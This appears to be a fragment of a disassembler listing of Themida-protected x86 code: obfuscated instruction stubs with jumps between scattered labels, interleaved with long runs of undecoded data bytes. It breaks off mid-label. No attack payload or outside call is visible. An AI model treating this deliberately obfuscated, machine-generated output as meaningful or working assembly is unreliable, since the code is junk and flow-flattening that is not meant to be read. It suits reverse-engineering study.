--------------------------------------------------------------------------- loc_543334: ; CODE XREF: Themida_:0054E3ECj push ebx jmp loc_546E7E ; --------------------------------------------------------------------------- dw 0C701h dd 78E0EF81h, 7BE91EA2h, 810000A2h, 140B1F1h, 59CE012Ah dd 0A279C681h, 0F701BFD6h, 56DF015Eh, 27774FBEh, 5EF72967h dd 8584E9h, 241C8900h, 0D8302FB3h, 82AE9h, 882EB100h, 42E959CFh dd 10000B4h, 6EEE81CEh, 81241727h, 193097C6h, 240C8B08h dd 4C481h, 34870000h, 24248B24h, 9C2404D3h, 0FFFDC0E9h dd 0C3315CFFh, 3D1468h, 24048900h, 0FFFDB0E9h db 0FFh ; --------------------------------------------------------------------------- loc_5433B5: ; CODE XREF: Themida_:00549990j push small 2BB0h mov [esp], bx mov bx, 7272h mov bp, bx mov bx, [esp] jmp loc_54BBFF ; --------------------------------------------------------------------------- db 68h, 0F4h, 73h dd 4890000h, 2474FF24h, 0B697E904h, 44810000h, 209A0424h dd 0CAE967FDh, 66000031h, 68240C8Bh, 3D98h, 81241489h dd 4ECh, 24248900h, 4BA52h, 54010000h, 94E90424h, 5000018h dd 4, 8B240487h, 0C4812424h, 4, 900E9C1h, 6E840FC0h, 68000032h dd 2D3Bh, 81241C89h, 0A6D2434h, 64E90C38h, 8100007Fh, 4C3h dd 4BA5200h, 29000000h, 1C875AD3h, 0B218E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_543456: ; CODE XREF: Themida_:0054A9F7j xor esi, edi pop edi xor esi, 7CB24CA0h dec esi add esi, 5AF3A1DAh and edi, esi pop esi add edi, 7A736B2Ah push esi mov esi, 0D3A46D6Dh jmp loc_54524D ; --------------------------------------------------------------------------- dw 8358h dd 1C8B04C4h, 4C48124h, 88000000h, 240C8B0Ah, 4C481h, 0FEE90000h db 8Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_543497: ; CODE XREF: Themida_:00549BEFj mov ebp, 5230AA4h push 1D18h jmp loc_54EB2A ; --------------------------------------------------------------------------- dw 0CF01h dd 1DB3E9h, 0FB895800h, 5F2434FFh, 4C481h, 522D0000h, 29778837h dd 0ACE951D8h, 810000A2h, 4C4h, 2DF80100h, 682E6ADEh, 0E9243C8Bh dd 6FC9h ; --------------------------------------------------------------------------- loc_5434DC: ; CODE XREF: Themida_:0054EFF1j and ebx, 40002C1Ah inc ebx jmp loc_545358 ; --------------------------------------------------------------------------- dd 7359F381h, 0F3817219h, 0C3268E3Eh, 86D0E9h, 24248B00h dd 242CD366h, 0FC5FE99Ch, 3489FFFFh, 1AE76824h, 0F75E2895h dd 5D6BE9D6h, 14870000h, 0ABADE924h, 0C4810000h, 4, 33241C31h dd 1C31241Ch, 0FC33E924h, 0BE68FFFFh, 89000071h, 5B54241Ch dd 44568h, 243C8900h, 4BFh, 0E9FB0100h, 1971h, 83241C8Bh dd 48F04C4h, 0EB805C24h, 4FB5516Dh, 949E9h, 59C82900h dd 405D801h, 5B4C4155h, 405h, 24043300h, 3559E9h db 0 ; --------------------------------------------------------------------------- loc_54357D: ; CODE XREF: Themida_:0054D1D3j mov ebx, 716054A7h jmp loc_548D83 ; --------------------------------------------------------------------------- db 66h dd 56240C8Bh, 9406E9h, 6BCD6800h, 815E441Ah, 6A94C3C6h dd 5EF08927h, 0B7CBE9h db 0 ; --------------------------------------------------------------------------- loc_5435A5: ; CODE XREF: Themida_:0054B925j add esp, 4 push ecx push 3896h jmp loc_5486BC ; --------------------------------------------------------------------------- loc_5435B3: ; CODE XREF: Themida_:0054EDB1j sub eax, esi pop esi shr eax, 6 and eax, 27DD4649h add eax, 6B81F79Dh sub edx, eax jmp loc_547DA0 ; --------------------------------------------------------------------------- dw 0BB53h dd 58BB6CFFh, 4D5E951h, 0CF880000h, 0CF805859h, 0A5B55182h dd 5059EF30h, 3378E9h, 0F5015A00h, 5124348Bh, 3FE9E189h dd 8900008Ah, 0F7BD242Ch, 813D1C2Ch, 1F6F00F5h, 0B1A0E953h dd 0EAC00000h, 93C28005h, 148BD028h, 6B5AE924h, 34FF0000h dd 4EC8187h, 89000000h, 0B068240Ch, 89000070h, 0A5BF243Ch dd 0F758DE26h, 0D0EF81DFh, 0E98803B6h, 0A0B6h, 205h, 24048700h dd 2424D25Ch, 0FB13E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_543652: ; CODE XREF: Themida_:005454D1j push 2B6Bh jmp loc_548660 ; --------------------------------------------------------------------------- dd 251A4ABEh, 7BC68158h, 89D60E03h, 0E8C15EF0h, 6ABF5704h dd 215FF818h, 55485FF8h, 6FC7E9h, 244C0100h, 24448104h dd 857D3304h, 246C8144h, 0F75A9304h, 240C8B4Dh, 81E18951h dd 4C1h, 4BD5500h, 0E9000000h, 97ECh, 0A6E9F1F7h, 1000049h dd 13C281FAh, 5F683017h, 4EA81h, 14870000h, 34895C24h dd 0A369E924h, 34FF0000h, 2434FF24h, 954BE959h, 0E6890000h dd 50E95657h db 66h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5436DF: ; CODE XREF: Themida_:0054D03Dj sub ebx, 4 jmp loc_5499D3 ; --------------------------------------------------------------------------- dw 3C8Bh dd 4C48324h, 5C241C87h, 44EA6866h, 241C8966h, 0B299E952h dd 0D8090000h, 4A692D5Bh, 32E93B93h, 89000026h, 4832424h dd 515E0424h, 31F0DB9h, 26BE566Ch, 31390457h, 0C1815EF1h dd 4F7702EBh, 2A46E9h, 0C8B6600h, 9A4CE924h, 0EC810000h dd 4, 24048F54h, 4BA52h, 54010000h, 0CCE90424h, 2800000Eh dd 25C680FEh, 5AF3285Bh, 2CE7E9h, 24348900h, 0E952E689h dd 4AEAh, 4247C01h, 4244481h, 0B0E598Ch, 33EDE95Fh, 8B660000h dd 54532404h, 4EC835Bh, 0B9240C89h, 4, 217ABA52h, 0E2814B9Eh dd 78291F41h, 2D6AEA81h, 0D2F77B1Bh, 4A42D2F7h, 580CC281h dd 0D3014421h, 81CB015Ah, 0E2BE2EBh, 9C0CE911h, 8B660000h dd 0EC81240Ch, 4, 57240489h, 0E9525F54h, 572Eh ; --------------------------------------------------------------------------- loc_5437D4: ; CODE XREF: Themida_:00545E59j pop ebx mov edx, [esp] add esp, 4 jmp loc_543165 ; --------------------------------------------------------------------------- aFburtfbIfbESB db 'frTfηifE]b',0 align 4 dd 0E9240C89h, 908Fh, 8302C183h, 0C8904ECh, 4483E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54380A: ; CODE XREF: Themida_:0054F06Ej push edi xor dword ptr [esp], 68AB06FBh pop ebx xor ebx, 68AB06FBh pop edi add ebx, 1E683386h jmp loc_547D30 ; --------------------------------------------------------------------------- db 2Dh, 3Bh, 52h dd 0E9815884h, 0EA4121Bh, 3268C181h, 4E94381h, 8100007Ah dd 7B79F4F7h, 13B8503Fh, 571B7068h, 11215EBFh, 0B069E97Eh dd 0EE810000h, 4F871552h, 0BD55D601h, 20C174A7h, 54A4E581h dd 0F58103CFh, 4F092852h, 67CDBE56h, 0E6817410h, 61A147C6h dd 0BFE9DEF7h, 31000047h, 1C33241Ch, 14895C24h, 4685324h dd 5B000000h, 3279E9h, 0DBF74300h, 10B6F381h, 0BF57D0A7h dd 4C1620EFh, 4E7C14Fh, 3DC5E9h, 77D86800h, 34890000h dd 4EC8124h, 89000000h, 4832424h, 0C6E90424h, 83000094h dd 0C58101EDh, 68A876ACh, 0A83ED81h, 87554265h, 6AE9242Ch dd 0F7000059h, 25ED81D5h, 8954E5A0h, 37E95DEEh, 580000A9h dd 8704C283h, 0FF5C2414h, 34FF2434h, 24048B24h, 4808E956h dd 1C890000h, 0B9FAE924h, 34310000h, 24343324h, 4A68685Ch dd 4890000h, 590BB824h, 44292B40h, 29580424h, 62682404h dd 89000048h, 0BE56242Ch, 1FCE395Ch, 8754E9h, 2C875F00h dd 86FFE924h, 895C0000h, 0E789243Ch, 269B68h, 242C8900h dd 4BDh, 6EC78100h, 14ACB78h, 6EEF81EFh, 8B4ACB78h, 0C481242Ch dd 4, 9BE2E9h, 59CB2900h, 8B241C87h, 0DEE92424h db 0FDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_543983: ; CODE XREF: Themida_:00549496j mov eax, offset loc_546521 push edx jmp loc_54ECC8 ; --------------------------------------------------------------------------- aYs db 'Y\',0 align 4 dd 4C481h, 814F0000h, 4227B3EFh, 5ECEE90Fh db 2 dup(0) ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 2 xchg ebp, [esp] pop esp xor al, bh push dword ptr [esp] pop ebx jmp loc_545DA8 ; --------------------------------------------------------------------------- db 0BBh, 4, 0 dd 0DA010000h, 4C2815Bh, 0E9000000h, 205Dh, 0C245C29h dd 246C295Bh, 24448108h, 0CE1A1408h, 280DE928h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5439EA: ; CODE XREF: Themida_:005499FAj sub eax, edx mov edx, [esp] jmp loc_547CD2 ; --------------------------------------------------------------------------- dd 0B6594668h, 0EF81583Dh, 18353CB6h, 0C781C701h, 18353CB6h dd 0A153E9h, 0E3BA5200h, 4279035Eh, 0BE56D2F7h, 13FD6D7Ch dd 815EF229h, 0BA5E52CAh, 7FF2812Ah, 8155FF59h, 0FFD964C2h dd 8BD501D0h, 0C4832414h, 242C8704h, 6824248Bh, 406h, 0A774E9h db 0 ; --------------------------------------------------------------------------- loc_543A49: ; CODE XREF: Themida_:0054A8E6j add ebp, edi sub ebp, 81910C4h pop edi push ebp push dword ptr [esp+4] jmp loc_54D900 ; --------------------------------------------------------------------------- dd 2C481h, 0FD300000h, 83DDE9h, 0E8005B00h, 0E92434FFh dd 0FFFFF74Bh ; --------------------------------------------------------------------------- loc_543A74: ; CODE XREF: Themida_:0054C0D9j mov eax, esp push ebp push esi mov esi, 440B0F89h jmp loc_543C77 ; --------------------------------------------------------------------------- dw 0F280h a5a db '5',0 aSsp db 'P',0 dw 5100h dd 0D61168B9h, 8141415Fh, 0D24211E1h, 2E9C139h, 46EFE981h dd 60E9A4CDh, 8900002Bh, 59CF89D9h, 5FFE015Bh, 9F5CE959h dd 0C1580000h, 0C58104EDh, 55A0D021h, 2943EA81h, 0EA292CE1h dd 2943C281h, 2D5D2CE1h, 212C389Ch, 0A22E9B05h, 2DD02966h dd 66A22E9Bh, 188868h, 243C8900h, 2C389CBFh, 1F02D21h dd 0F80143D3h, 0D301F005h, 525A5F43h, 2F029DBAh, 4E2C16Ah dd 4EC81h, 2C890000h, 5521BD24h, 0E95755D7h, 0C2Fh, 2C8BEE01h dd 5703E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_543B26: ; CODE XREF: Themida_:005479E5j add esp, 4 pop edi add edx, 4 xchg edx, [esp] mov esp, [esp] jmp loc_54C176 ; --------------------------------------------------------------------------- dd 1CE94F4Fh, 8100004Fh, 0FF33FEEEh, 0E2EE816Dh, 514F45F0h dd 0CA89F189h, 0C7815E59h, 7FF371D6h, 0EF81D729h, 7FF371D6h dd 0DBE9FD5Ah, 330000B0h, 0F5C243Ch, 9C51C8AFh, 6C82E9h dd 52D82800h, 880DB050h, 90C7E9C2h db 2 dup(0) ; --------------------------------------------------------------------------- loc_543B82: ; CODE XREF: Themida_:00548FE0j pop ecx xor dh, 62h add al, dh jmp loc_54EC1F ; --------------------------------------------------------------------------- db 89h, 0C2h, 8Bh dd 0C4812404h, 4, 0D0E9D601h, 5B000068h, 0D9168h, 24148900h dd 0C68040B6h, 5AF028CCh, 67B7E9h db 0 ; --------------------------------------------------------------------------- loc_543BB5: ; CODE XREF: Themida_:005488A1j add esp, 4 neg ah jmp loc_549CDC ; --------------------------------------------------------------------------- dw 0D0F7h dd 59403F2Dh, 0CEE8120h, 29679234h, 0CC681C6h, 58679234h dd 8B243487h, 4892424h, 0F57FE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_543BE6: ; CODE XREF: Themida_:00545C27j xor edx, 1A3E68BEh add edx, 0BF485A40h mov esi, edx mov edx, [esp] add esp, 4 jmp loc_5474B0 ; --------------------------------------------------------------------------- dw 1CF6h dd 5AE99C24h, 68FFFFF5h, 3C662306h, 68574058h, 667A18BAh dd 1434E9h db 0 ; --------------------------------------------------------------------------- loc_543C1D: ; CODE XREF: Themida_:0054445Cj add ebp, 4 xchg ebp, [esp] jmp loc_547F49 ; --------------------------------------------------------------------------- aWsY db 'WY',0 db 0 ; --------------------------------------------------------------------------- loc_543C31: ; CODE XREF: Themida_:0054E923j add edi, edx pop edx add edi, 4 push edi push dword ptr [esp+4] jmp loc_54D4B1 ; --------------------------------------------------------------------------- dd 0E958C701h, 1FEBh, 15AD501h, 9D0CE9EFh, 0E9C10000h dd 261B6806h, 0C9E90000h, 5200001Fh, 9AE9E289h, 0BA000009h dd 4, 67E9D601h db 0B2h, 2 dup(0) ; --------------------------------------------------------------------------- loc_543C77: ; CODE XREF: Themida_:00543A7Dj inc esi jmp loc_546CE7 ; --------------------------------------------------------------------------- db 8Bh, 4, 24h dd 3AFA68h, 24348900h, 168E689h, 8900001Dh, 0E952241Ch dd 3A48h ; --------------------------------------------------------------------------- loc_543C98: ; CODE XREF: Themida_:00548BE5j push ebx mov ebx, 1CD0422Dh jmp loc_54AE01 ; --------------------------------------------------------------------------- db 5Eh dd 8106E5C1h, 4E84E6C5h, 98ED8124h, 0F71F0909h, 912DE9DDh dd 80BB0000h, 29B707CAh, 76ABE9EBh, 0EDBE0000h, 0E9286974h dd 599Fh, 5624148Bh, 0C681E689h, 4, 4BD55h, 0EE010000h dd 5FCCE9h, 0DBF18100h, 811CC636h, 6614ABC1h, 0CD8955A4h dd 8B5DEF89h, 0C481240Ch, 4, 0D0DE9h, 0B35EB600h, 5AF3009Ah dd 0E906E3C0h, 6762h, 0EC240481h, 0E93E8D22h, 6B93h, 835BFD08h dd 48904ECh, 68536624h, 424Fh, 0B1240C89h, 0C0E9808Bh dd 47EE9h, 442CAC00h, 30040D04h, 302CD800h, 5027B353h dd 8AE950B0h, 0C1000070h, 26E906E6h, 800000A0h, 0EB80BBE3h dd 5BD828F5h, 0D800F804h, 0B378E9h, 0C168AD00h, 8900006Eh dd 0EC83241Ch, 243C8904h, 54636768h, 0C7815F60h, 18B5C9Fh dd 0A5E9E950h, 14890000h, 0E99C5024h, 0FFFFF3C9h ; --------------------------------------------------------------------------- loc_543D9C: ; CODE XREF: Themida_:0054D4B5j pop esp jmp loc_54E32F ; --------------------------------------------------------------------------- dw 4B8h dd 1000000h, 148758C2h, 9D685C24h, 89000014h, 40B82404h dd 21000000h, 2434FFC1h, 0E1895158h, 4C181h, 0E9810000h dd 4, 0B2AEE9h db 0 ; --------------------------------------------------------------------------- loc_543DD5: ; CODE XREF: Themida_:0054A512j shl edx, 1 and edx, 1ED8527Fh sub edx, 7D5B2C63h push ebp mov ebp, 162E5E2Dh shl ebp, 3 add ebp, 66FD0545h shl ebp, 4 jmp loc_547C4A ; --------------------------------------------------------------------------- dw 0F75Dh aSse db 'e',0 align 2 dw 487h dd 24248B24h, 4BB0F66h, 52E99C24h, 87FFFFF3h, 4BE92404h dd 5A000082h, 3B65E9h, 0F1EB8100h, 0E968630Fh, 3FEBh, 4B850h dd 4CE90000h, 0C1000031h, 0E78108E7h, 0B161B08h, 8108EFC1h dd 36ADEF7h, 5FFB2905h, 4B95159h, 29000000h, 1C3359CBh dd 241C3124h, 8B241C33h, 14892424h, 2C0AE924h, 814F0000h dd 352B07CFh, 1BEBE968h, 0C2810000h, 0A7637C55h, 0E95AD101h dd 3468h, 0E180D9F6h, 0B1E9806Bh, 0C800F204h, 928EE9h dd 4C68100h, 81000000h, 4C6h, 2111E900h, 0F2310000h, 705E95Eh dd 0C3800000h, 0E9EB0002h, 0A854h, 4F0005Ch, 0A949E93Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_543EC2: ; CODE XREF: Themida_:0054F009j mov eax, esp add eax, 4 jmp loc_545457 ; --------------------------------------------------------------------------- dw 0B951h dd 62591EA1h, 2959CA89h, 0E9082454h, 43A1h, 46EA8142h dd 815B2B5Dh, 0A216E0F2h, 7A64E965h, 81660000h, 661C7BE9h dd 0AB48E95Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_543EFE: ; CODE XREF: Themida_:0054BAA1j push esp pop edx push 53FBh mov [esp], edi mov edi, 4 jmp loc_549A7D ; --------------------------------------------------------------------------- loc_543F12: ; CODE XREF: Themida_:00545691j and eax, ecx pop ecx jmp loc_54C6DA ; --------------------------------------------------------------------------- dw 0FB68h dd 8900006Fh, 9C502414h, 0FFF23CE9h, 2DBF57FFh, 813A8B03h dd 7C6BF4C7h, 0BB534709h, 28CE702Fh, 8103E3C1h, 2B699BE3h dd 0F8EB8177h, 31021B91h, 72E95BDFh, 8F00002Bh, 248B2404h dd 24D36624h, 0C7E99C24h db 91h, 2 dup(0) ; --------------------------------------------------------------------------- loc_543F63: ; CODE XREF: Themida_:00547172j add ecx, 4 xchg ecx, [esp] pop esp sub esp, 4 mov [esp], eax mov eax, 2 add esi, eax pop eax jmp loc_547649 ; --------------------------------------------------------------------------- aSc_0 db '[C',7,0 align 2 dw 0E781h dd 79A55F8Fh, 0AF0EF81h, 0E78117ABh, 18C72A89h, 57E9DFF7h dd 0BB000035h, 19581006h, 47685752h, 8B13C81Dh, 0C481243Ch dd 4, 0B4FC781h, 575506AFh, 5DEA895Dh, 0FC2815Fh, 81A321BBh dd 7C6A98C3h, 81D32935h, 7C6A98EBh, 24148B35h, 4C481h dd 0D8290000h, 83241C8Bh, 0D80104C4h, 2C61BE56h, 0F0015BBFh dd 355C685Eh, 3C890000h, 46B0BF24h, 862D6BAFh, 0E94F515Dh dd 49EEh, 0C28014B2h, 75DFE97Ah, 8B660000h, 5456240Ch dd 0E389535Eh, 4C381h, 0EB830000h, 5988E904h, 55F0000h dd 2, 0FFFDCDE9h, 0ACC581FFh, 0E9485021h, 49CFh ; --------------------------------------------------------------------------- loc_544040: ; CODE XREF: Themida_:00547D77j shr ebp, 1 shl ebp, 2 and ebp, 0D0C2C8Bh xor ebp, 438E2EB6h sub eax, ebp pop ebp jmp loc_54767E ; --------------------------------------------------------------------------- db 0FFh, 74h, 24h dd 24048B04h, 8F04C483h, 248B2404h, 0C83B6624h, 3882E99Ch dd 815B0000h, 0B57D06EBh, 0EB815903h, 0B9314Dh, 0EC81C301h dd 4, 0BA241489h, 0B9314Dh, 15E9D301h, 8100004Bh, 401224F2h dd 5AD30122h, 9F86E9h db 0 ; --------------------------------------------------------------------------- loc_5440A5: ; CODE XREF: Themida_:00547536j add edi, 4 jmp loc_54F00E ; --------------------------------------------------------------------------- dd 59CF015Bh, 295FFB29h, 1C8B405Fh, 4C48124h, 0FF000000h dd 34FF2434h, 7EE95824h, 0B200007Dh, 6D18E937h, 0C4830000h dd 4BB0E904h, 0CF300000h, 240C8B66h, 0B042E9h db 0 ; --------------------------------------------------------------------------- loc_5440E9: ; CODE XREF: Themida_:0054A6DCj push ebx mov ebx, 55171DE6h shr ebx, 8 push 3B90h jmp loc_54A373 ; --------------------------------------------------------------------------- dd 881EB551h, 0C0FE59E8h, 3404E8C0h, 2E8C02Eh, 410EE9h db 0 ; --------------------------------------------------------------------------- loc_544111: ; CODE XREF: Themida_:00543243j add esp, 4 sub eax, 2E0363F7h jmp loc_54878B ; --------------------------------------------------------------------------- dw 48Fh dd 0FA685C24h, 8900005Dh, 0BD55240Ch, 44307FA0h, 0F112E953h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_544136: ; CODE XREF: Themida_:00547151j mov ebp, [esp] add esp, 4 jmp loc_54B90A ; --------------------------------------------------------------------------- dd 0D05BDE30h, 1C680E6h, 0F4885066h, 6AE9D4F6h db 20h, 2 dup(0) ; --------------------------------------------------------------------------- loc_544157: ; CODE XREF: Themida_:0054322Dj add bl, al sub bl, 0D8h jmp loc_54B7C3 ; --------------------------------------------------------------------------- db 66h, 89h, 0Ch dd 0B60F6624h, 9C5166C8h, 0FFEFF4E9h, 4C381FFh, 81000000h dd 4ECh, 242C8900h, 4BDh, 5DEB2900h, 7574E9h, 244C3100h dd 5E1EE904h, 0FF510000h, 0E9042474h, 960Ah, 8324148Bh dd 0C48304C4h, 0A4D6E904h, 81470000h, 0EAB801C7h, 0FB8953A3h dd 6BE9D889h, 8800009Bh, 3774E9CFh, 0E7890000h, 4C781h dd 0EF810000h, 4, 5C243C87h, 0E9242489h, 15CBh, 24048B66h dd 6B5368h, 241C8900h, 8A77E9h, 4C48300h, 4EC81h, 84E90000h dd 33000058h, 0E95C241Ch, 9932h, 241CF766h, 56C8E99Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_544212: ; CODE XREF: Themida_:0054B8ACj add edx, 4 add edx, 4 xchg edx, [esp] pop esp add ecx, 85577FB2h and eax, ecx jmp loc_54A6A1 ; --------------------------------------------------------------------------- db 8Bh dd 0C4832404h, 5AE18104h, 0E908C37Ch, 5C06h ; --------------------------------------------------------------------------- loc_544240: ; CODE XREF: Themida_:00545165j pop eax add bl, al add bl, 5Ah sub esp, 2 mov [esp], ax push edx mov dh, 1Bh push ecx mov cl, dh mov al, cl mov ecx, [esp] add esp, 4 push dword ptr [esp] pop edx jmp loc_54C8C3 ; --------------------------------------------------------------------------- aCsvp db 'Cv',0 db 0 ; --------------------------------------------------------------------------- loc_54426D: ; CODE XREF: Themida_:005486EEj add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp jmp loc_54F006 ; --------------------------------------------------------------------------- db 1 aSdo db 'o',0 align 2 loc_544286: ; CODE XREF: Themida_:00543187j mov esi, 2 sub ebx, esi pop esi xchg ebx, [esp] mov esp, [esp] mov [esp], cx mov cl, 7Dh add al, 6Ch add al, cl sub al, 6Ch mov cx, [esp] jmp loc_5474A8 ; --------------------------------------------------------------------------- db 56h, 68h, 0A3h dd 0E950481Dh, 2BCh, 8B240433h, 8A682424h, 89000007h, 6DE9242Ch dd 66000028h, 8124148Bh, 2C4h, 665D6600h, 3166D731h, 0D73166FAh dd 243C8766h, 0FFEE80E9h, 242C8BFFh, 8304C483h, 143304C2h dd 24143124h, 1000E9h, 241C8900h, 0FFFC9EE9h, 155CB9FFh dd 0B2BD7C0Dh, 31205420h, 0E82959CDh, 5D2434FFh, 4C481h dd 0D8290000h, 1AC268h, 241C8900h, 0F5745BBh, 0C3814B09h dd 0B810DE5h, 5130EB81h, 0EB81D80Fh, 0E027DE0Bh, 72146A2Dh dd 2035E95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_544346: ; CODE XREF: Themida_:0054AB9Cj add eax, ecx sub eax, 19733968h mov ecx, [esp] add esp, 4 sub eax, 4 xchg eax, [esp] jmp loc_547A00 ; --------------------------------------------------------------------------- db 5Ch dd 24048966h, 0FFEDF8E9h, 53DEF6FFh, 0EB800CB3h, 0FDCAE9D4h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54437A: ; CODE XREF: Themida_:0054B36Cj push 7E5h mov [esp], edi mov edi, 3BF20448h xor [esp+4], edi pop edi jmp loc_549C62 ; --------------------------------------------------------------------------- db 58h, 51h, 57h dd 0CDBBFh, 53B85032h, 29615933h, 0EF8158C7h, 0D0A6D986h dd 764DE9h, 0F5815D00h, 36EA46F3h, 5DE8895Fh, 0AEFEE9h db 0 ; --------------------------------------------------------------------------- loc_5443BD: ; CODE XREF: Themida_:005459F7j add edi, ecx sub edi, 4F447449h sub edi, 2D6414A5h pop ecx push edx mov edx, 4 sub edi, edx pop edx jmp loc_545BD8 ; --------------------------------------------------------------------------- loc_5443DA: ; CODE XREF: Themida_:005460CEj mov [esp], ecx push ebx push edi push 119F6525h pop edi shl edi, 7 shr edi, 1 sub edi, 521A3232h mov ebx, edi pop edi shl ebx, 5 xor ebx, 3B230A80h xor ebx, 3F04664Fh and ebx, 26061427h and ebx, 21A57196h push esi mov esi, 4C950069h jmp loc_54D6D4 ; --------------------------------------------------------------------------- db 0BDh, 4, 18h aCssZ db 'Sz',0 dw 8900h dd 4C281E2h, 83000000h, 148704C2h, 54535C24h, 0FE9515Bh dd 81000057h, 4C4h, 24343300h, 3DEFE9h, 4EC8100h, 0E9000000h dword_544450 dd 8CDBh ; DATA XREF: ___:off_43CCF4o ; --------------------------------------------------------------------------- loc_544454: ; CODE XREF: Themida_:0054C1B7j mov ebp, esp add ebp, 4 jmp loc_543C1D ; --------------------------------------------------------------------------- db 0B8h, 2, 0 dd 0C7810000h, 5A4A0DB2h, 0EF81C701h, 5A4A0DB2h, 74FF5758h dd 3C8B0424h, 4C48324h, 820EE9h, 574ABB00h, 0CB811E80h dd 6AD002AEh, 57ECEB81h, 0D8017ED0h, 2404335Bh, 0E9240431h dd 2A55h, 52EE81ADh, 0E954590Eh, 2012h, 6B8BC781h, 0EF015E7Eh dd 6B8BEF81h, 335D5E7Eh, 74E9243Ch, 89000005h, 99B82404h dd 0F7493123h, 0F74040D0h, 62B32DD8h, 0BD555398h, 0A673F1Fh dd 2C8BE801h, 4C48324h, 48BC201h, 4C48124h, 50000000h dd 5864E9h db 0 ; --------------------------------------------------------------------------- loc_5444F9: ; CODE XREF: Themida_:005474ABj add ebp, 4 add ebp, 2 xchg ebp, [esp] pop esp push ebx mov bl, 44h jmp loc_54DAA7 ; --------------------------------------------------------------------------- db 0C1h, 0E7h, 8 dd 6E7C14Fh, 8103EFC1h, 0F547F4EFh, 5FF90106h, 31240C33h dd 0C33240Ch, 2BD5E924h, 0EA010000h, 74FF525Dh, 0E95A0424h dd 0FFFFFBDEh, 623CE781h, 1BE93F22h, 0FF00002Dh, 57592434h dd 66D2E954h, 34FF0000h, 24048B24h, 4C481h, 89520000h dd 4C281E2h, 0E9000000h, 38F3h, 4EEC15Eh, 0C4E9DEF7h db 0F5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54457B: ; CODE XREF: Themida_:0054B042j sub ecx, 55DDE2EEh sub esi, ecx pop ecx jmp loc_54B34C ; --------------------------------------------------------------------------- db 0FFh, 77h, 1Ch dd 411589Dh, 0CEE99C24h db 0EBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_544597: ; CODE XREF: Themida_:0054B648j mov [esp], ebx mov ebx, 0FFFFFFFFh sub [edi+24h], ebx jmp loc_545DE9 ; --------------------------------------------------------------------------- db 55h dd 0D05A0EBDh, 43E95301h, 810000AAh, 691EE9C5h, 81D5015Dh dd 691EE9EDh, 24148B5Dh, 4C481h, 52570000h, 4357FDBAh dd 0F2814A5Fh, 36F80086h, 8353E9h, 44F5BB00h, 0DA016FCDh dd 0E9F2015Bh, 4F03h, 0B8240489h, 2, 6CEE981h, 0E9812BA8h dd 5B2450Bh, 150FE9h, 4C28100h, 81000000h, 4EAh, 24143300h dd 33241431h, 18E92414h, 5A000013h, 4C7815Fh, 51000000h dd 7A9BE9h, 81E18900h, 4C1h, 4C18100h, 87000000h, 555C240Ch dd 8E2DF7BDh, 2E5C12Fh, 0D7F7FD87h, 0A8E9FD87h, 0FF00004Dh dd 0B0E92434h, 8100000Eh, 4C7h, 4C78300h, 31243C33h, 3C33243Ch dd 24248B24h, 518E9h, 29AABF00h, 0FD31049Ah, 81243C8Bh dd 4C4h, 0FFC58100h, 81FFFFFFh, 0DA5DB3C5h, 5DEA31FEh dd 0E95AD301h, 894h, 5A2434FFh, 8104C483h, 4C4h, 5D596800h dd 14890000h, 0E95A5424h, 676Ch ; --------------------------------------------------------------------------- loc_5446B8: ; CODE XREF: Themida_:0054CC96j add edi, 4 add edi, 4 jmp loc_54B8BE ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 4C4815Dh, 87000000h, 248B243Ch, 48B6624h, 69486824h dd 2C890000h, 815D5424h, 4C5h, 18E95000h, 81FFFFF5h, 4C6h dd 68575000h, 61983F97h, 0C9BD555Fh, 0F730613Eh, 9D30E9D5h dd 51530000h, 2B9h, 63F8E900h, 48F0000h, 24248B24h, 240C8966h dd 0C8B60F66h, 0E99C5166h, 0FFFFEA35h, 4C48358h, 997EE9h dd 240CFE00h, 0EA23E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_544742: ; CODE XREF: Themida_:0054D9EFj mov [esp], ax jmp loc_543165 ; --------------------------------------------------------------------------- db 53h dd 0B02F0EBBh, 5B5F5306h, 0C781DFF7h, 75AF705Eh, 3D7BB850h dd 0D8F73B8Eh, 0E902E0C1h, 52D8h, 5DFE958h db 2 dup(0) ; --------------------------------------------------------------------------- loc_544772: ; CODE XREF: Themida_:00545CA7j pop edi jmp loc_54CF9A ; --------------------------------------------------------------------------- loc_544778: ; CODE XREF: Themida_:0054D0B3j push ebp mov ebp, 4E051BE3h jmp loc_548AC4 ; --------------------------------------------------------------------------- db 59h dd 2474FF50h, 2434FF04h, 8324048Bh, 0C48104C4h, 4, 8B24048Fh dd 4D22424h, 0BEE99C24h, 0B9FFFFE9h, 4, 8759C829h, 87E92404h db 6Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_5447B7: ; CODE XREF: Themida_:00549CE4j pop eax shl bh, 2 or bh, 0Dh inc bh add bh, 3Eh mov ch, bh pop ebx not ch dec ch xor ch, 88h sub ch, 0F4h push edx mov dh, 3Dh inc dh inc dh sub dh, 5Bh jmp loc_545B7F ; --------------------------------------------------------------------------- db 1 dd 0A929E9F0h, 0FB890000h, 8B07E9h, 77ED8100h, 5B395027h dd 31242C33h, 2C33242Ch, 34FF5C24h, 24048B24h, 842FE9h dd 0C4815E00h, 4, 0EC81D6F7h, 4, 50240489h, 50E9E089h dd 87FFFFEAh, 0D1874AD1h, 2CAEC981h, 0B85009C3h, 54216CAh dd 0E952D0F7h, 76FCh, 0E940478Fh, 0FFFFE921h ; --------------------------------------------------------------------------- loc_544844: ; CODE XREF: 